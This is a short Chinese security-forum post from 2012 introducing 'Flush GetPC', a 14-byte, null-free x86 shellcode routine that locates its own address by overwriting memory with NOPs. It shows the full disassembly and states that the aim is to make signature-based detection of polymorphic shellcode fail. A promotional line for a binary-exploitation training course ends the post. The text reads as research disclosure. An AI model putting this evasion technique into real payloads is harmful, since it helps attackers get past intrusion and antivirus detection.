-
-
[原创]一种反检测的Shellcode GetPC方法Flush GetPC
-
2012-8-14 16:59
7320
-
[原创]一种反检测的Shellcode GetPC方法Flush GetPC
Flush GetPC是我们提出的一种新的获取当前指令地址的方法。相比FSTENV和SEH方法,Flush GetPC最主要的特点就是可以避免出现指定特征码。到此为止多态Shellcode中的GetPC、Decoder和Encoded三个部分均能实现特征码的避免,从而导致了特征匹配检测方法在面对新型多态shellcode时彻底失效。
Flush GetPC的原理是利用堆栈栈顶位于Shellcode位置之上(内存低地址)的特点,从栈顶ESP开始向下泛洪,不断写入NOP,并同时调整ESI记录当前泛洪位置,最后Flush GetPC泛洪至自身,结束循环而往下执行。最后ESI为mov byte ptr ds:[esi],0x90指令地址。下图显示了泛洪前后的Flush GetPC代码,泛洪至XOR EAX,EAX后,两条指令被类NOP指令取代(对DH进行ROL操作对Flush GetPC没有影响),继而JE跳转失败而结束循环。
泛洪前:
00012481 8BF4 mov esi,esp
00012483 33C0 xor eax,eax
00012485 C606 90 mov byte ptr ds:[esi],0x90
00012488 46 inc esi
00012489 40 inc eax
0001248A 83F8 01 cmp eax,0x1
0001248D 74 F4 je Test.00012483
泛洪后:
00012481 8BF4 mov esi,esp
00012483 90 nop
00012484 C0C6 06 rol dh,0x6
00012487 90 nop
00012488 46 inc esi
00012489 40 inc eax
0001248A 83F8 01 cmp eax,0x1
0001248D 74 F4 je Test.00012483
Flush GetPC总长14字节,中间没有出现字符串结尾符0x00。
[培训]二进制漏洞攻防(第3期);满10人开班;模糊测试与工具使用二次开发;网络协议漏洞挖掘;Linux内核漏洞挖掘与利用;AOSP漏洞挖掘与利用;代码审计。